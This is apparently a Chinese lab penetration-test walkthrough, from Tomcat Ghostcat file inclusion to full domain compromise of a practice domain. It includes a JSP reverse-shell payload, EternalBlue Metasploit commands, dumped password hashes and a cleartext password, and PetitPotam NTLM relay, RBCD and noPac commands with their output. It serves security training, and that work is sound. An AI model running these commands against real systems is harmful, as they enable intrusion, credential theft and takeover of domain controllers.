信息收集 先来看fscan的扫描结果
看到开了8009 8080 端口先去看看web界面。
直接进了后台界面,但是没有什么功能界面。扫扫目录看看
貌似也没有什么,先看看。
发现了中间件的版本,在联想到开了8009端口,想到了一个cve漏洞。
CVE-2020-1983 Tomcat文件包含 https://github.com/00theway/Ghostcat-CNVD-2020-10487
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 python3 ajpShooter.py http://39.99 .139 .181 :8080 / 8009 /WEB-INF/web.xml read _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| ' _ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200 [<] Accept-Ranges: bytes [<] ETag: W/"2489-1670857638305" [<] Last-Modified: Mon, 12 Dec 2022 15:07:18 GMT [<] Content-Type: application/xml [<] Content-Length: 2489 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name>Archetype Created Web Application</display-name> <security-constraint> <display-name>Tomcat Server Configuration Security Constraint</display-name> <web-resource-collection> <web-resource-name>Protected Area</web-resource-name> <url-pattern>/upload/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint> <error-page> <error-code>404</error-code> <location>/404.html</location> </error-page> <error-page> <error-code>403</error-code> <location>/error.html</location> </error-page> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/error.html</location> </error-page> <servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>com.example.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/HelloServlet</url-pattern> </servlet-mapping> <servlet> <display-name>LoginServlet</display-name> <servlet-name>LoginServlet</servlet-name> <servlet-class>com.example.LoginServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginServlet</servlet-name> <url-pattern>/LoginServlet</url-pattern> </servlet-mapping> <servlet> <display-name>RegisterServlet</display-name> <servlet-name>RegisterServlet</servlet-name> <servlet-class>com.example.RegisterServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>RegisterServlet</servlet-name> <url-pattern>/RegisterServlet</url-pattern> </servlet-mapping> <servlet> <display-name>UploadTestServlet</display-name> <servlet-name>UploadTestServlet</servlet-name> <servlet-class>com.example.UploadTestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>UploadTestServlet</servlet-name> <url-pattern>/UploadServlet</url-pattern> </servlet-mapping> <servlet> <display-name>DownloadFileServlet</display-name> <servlet-name>DownloadFileServlet</servlet-name> <servlet-class>com.example.DownloadFileServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadFileServlet</servlet-name> <url-pattern>/DownloadServlet</url-pattern> </servlet-mapping> </web-app>
先来读取一下配置文件,发现有一个上床的url访问一下
可以上传文件,那么咱们就可以进行文件包含了,先准备一个反弹shell的脚本
1 <% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,xxxxxxxxx}|{base64,-d}|{bash,-i}" ).getInputStream(); int a = -1 ; byte [] b = new byte [2048 ]; out.print("<pre>" ); while ((a=in.read(b))!=-1 ){ out.println(new String (b)); } out.print("</pre>" ); %>
进行包含
python3 ajpShooter.py http://39.99.139.181:8080/ 8009 /upload/abca1d7d040345028d1365a8881415e1/20250309020311368.txt eval
拿到了root的shell权限,这样就可以写后门用户公钥了。
内网渗透 还是先上传代理工具和fscan扫描下内网的信息。
发现内网有一个ms17-01漏洞,那么搭好代理直接上美少妇干他。
ms17-010 1 2 3 4 5 proxychains msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.11.45 exploit
直接找flag就行
收集下内网信息,为打后面的域做个铺垫,先抓下hash看看有没有域用户的hash
1 2 3 4 XR-DESKTOP$ XIAORANG 0a124be3aa98d6f8499eb0ea8df3c355 c3d51ffd58887017bc5c2e90d1204a33e0ed7488 yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f xr-desktop$ XIAORANG.LAB (null) yangmei XIAORANG.LAB xrihGHgoNZQ
既然有一个域用户那就收集下域内的信息。
1 ./proxychains4 -f proxychains.conf ../ADinfo/Adinfo_darwin -d xiaorang.lab --dc 172.22.11.6 -u yangmei -H 25e42ef4cc0ab6a8ff9e3edbbda91841
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 proxychains] DLL init: proxychains-ng 4.17-git-4-gce07eaa _____ _ __ /\ | __ \(_) / _| / \ | | | |_ _ __ | |_ ___ / /\ \ | | | | | '_ \| _/ _ \ Tools that collect information from domain / ____ \| |__| | | | | | || (_) | /_/ \_\_____/|_|_| |_|_| \___/ v1.5 by lzz [i] Try to connect '172.22.11.6' [proxychains] Strict chain ... 47.92.4.8:1236 ... 172.22.11.6:389 ... OK [c] Auth Domain: xiaorang.lab [c] Auth user: yangmei [c] Auth hash: 25e42ef4cc0ab6a8ff9e3edbbda91841 [c] connected successfully,try to dump domain info [i] DomainVersion found! [+] Windows 2019 Server operating system [i] Domain SID: [+] S-1-5-21-3598443049-773813974-2432140268 [i] Domain MAQ found [+] 0 [i] Domain Account Policy found [+] pwdHistory: 24 [+] minPwdLength: 7 [+] minPwdAge: 1(day) [+] maxPwdAge: 10675199(day) [+] lockoutThreshold: 0 [+] lockoutDuration: 30(min) [i] Domain Controllers: 1 found [+] XIAORANG-DC$ ==>>> Windows Server 2019 Standard [10.0 (17763)] ==>>> 172.22.11.6 [i] ADCS has not found! [i] Domain Exchange Server: 0 found [i] Domain All DNS: [+] Domain Dns 3 found,Saved in All_DNS.csv [i] Domain Trusts: 0 found [i] SPN: 37 found [i] Domain GPOs: 2 found [i] Domain Admins: 1 users found [+]Administrator [i] Enterprise Admins: 1 users found [+]Administrator [i] administrators: 1 users found [+]Administrator [i] Backup Operators: 0 users found [i] Users: 24 found [i] User with Mail: 0 found [i] Only_name_and_Useful_Users: 22 found [i] Only_admincount=1_andUseful_Users: 1 found [i] Locked Users: 0 found [i] Disabled Users: 2 found [i] Users with passwords not set to expire: 2 found [i] Domain Computers: 3 found [i] Only_name_and_Useful_computers: 3 found [i] Groups: 49 found [i] Domain OUs: 2 found [i] LAPS Not found [i] LAPS passwords: 0 found [i] SensitiveDelegate Users: 0 found [i] AsReproast Users: 0 found [i] Kerberoast Users: 1 found [+] CN=krbtgt,CN=Users,DC=xiaorang,DC=lab ==>>> kadmin/changepw [i] SIDHistory Users: 0 found [i] CreatorSID Users: 0 found [i] RBCD Users: 0 found [i] Unconstrained Deligation Users: 0 found [i] Constrained Deligation Users: 0 found [i] Krbtgt password last set time: 2022-07-22 12:39:44 +0800 CST [i] CSVs written to 'csv' directory in /Volumes/T7mac/Tools/内网渗透/ADinfo [i] Execution took 1.570960417s
通过上面的信息可以发现域内的MAQ=0,说明域内用户不能添加域机器进入域内,也就是说很多漏洞都没办法利用。看看大佬的博客
1 2 3 4 5 6 7 1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破,没发现其他新用户 2. MAQ = 0,加不了计算机 3. 当前LDAP 没 TLS,远程也加不了计算机,impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制,无法添加计算机;ldaps受到 没TLS + MAQ = 0 的限制 4. 域控存在nopac,当前用户yangmei使用nopac没打死,并且对域内computer container没有createchild的ACL 5. 域控存在nopac,当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限,意味着无法修改SamAccountName 6. 域内存在 DFscoerce 和 petitpotam,但是不存在CVE-2019-1040,因此放弃 DFscoerce,优先使用petitpotam 7. NoPac exploit: [Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)](https://github.com/Ridter/noPac)
1 2 proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
扫出来有webdav服务,然后去扫这个petitpotam洞一直超时,先打了再说。
具体就是要打NTLM Relay via WebDAV+Petitpotam的Coerce Authentication
参考这几篇文章https://whoamianony.top/posts/privilege-escalation-ntlmrelay2self-over-http-webdav/ https://forum.butian.net/share/2220 https://forum.butian.net/share/1944
这里有一个技巧,可以转发到本地
1 2 ssh -i ~/.ssh/id_ed25519 root@39.99.139.181 -D socksip:port -R \*:79:127.0.0.1:80 nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
ssh
:使用 SSH 连接远程服务器。
-i ~/.ssh/id_ed25519
:指定 SSH 私钥 id_ed25519
进行身份认证。
root@39.99.139.181
:以 root
用户身份连接 39.99.139.181
这台远程服务器。
-D socksip:port
:
-D
选项开启 SOCKS 代理 ,即在本地 socksip:port
上启动一个动态端口转发代理。
所有经由这个代理的流量都会通过 39.99.139.181
这台服务器转发,类似于 翻墙代理(SOCKS5 代理) 。
-R \*:79:127.0.0.1:80
:
-R
选项表示 远程端口转发 。
\*:
表示绑定到所有网卡(即允许任意 IP 访问这个端口)。
79:127.0.0.1:80
表示:
远程服务器 (39.99.139.181
) 的 79
端口 会转发到 本地(SSH 客户端所在机器)的 127.0.0.1:80
端口 。
socat
:一个强大的网络工具,常用于端口转发和代理。
TCP-LISTEN:80,fork,bind=0.0.0.0
:
TCP-LISTEN:80
:监听 本机 80
端口 ,等待 TCP 连接。
fork
:每次有新连接时,自动创建一个子进程处理连接(防止阻塞)。
bind=0.0.0.0
:监听 所有 IP(外部和本地) 的请求。
TCP:localhost:79
:
当收到 80 端口的请求 ,会将流量 转发到 localhost:79
端口 。
Ntlm Relay petitpotam 此时已经转发成功了,接下来去开启本地监听80,然后通过efs强制认证到本机80,relay到dc的ldap,设置XR-DESKTOP到172.22.11.26的基于资源的约束委派。
1 2 proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
然后打petitpotam强制认证
1 proxychains4 python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
基于资源的约束委派 然后直接用之前172.22.11.45上抓的机器账户XR-DESKTOP$哈希打172.22.11.26的RBCD
1 roxychains4 python3 getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :0a124be3aa98d6f8499eb0ea8df3c355 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
然后导入ccache之后可以直接打pth
1 2 3 export KRB5CCNAME=administrator.ccache proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
nopac提权 添加个后门用户进行rdp
在rdp时有个账户在登录着,上传mimikatz抓去hash
看下信息
存在 MA_Admin组
zhanghui存在这个组里,对computer能够创建对象,能向域中添加机器账户,所以能打noPac
1 proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
参考:https://www.cnblogs.com/-meditation-/articles/16619406.html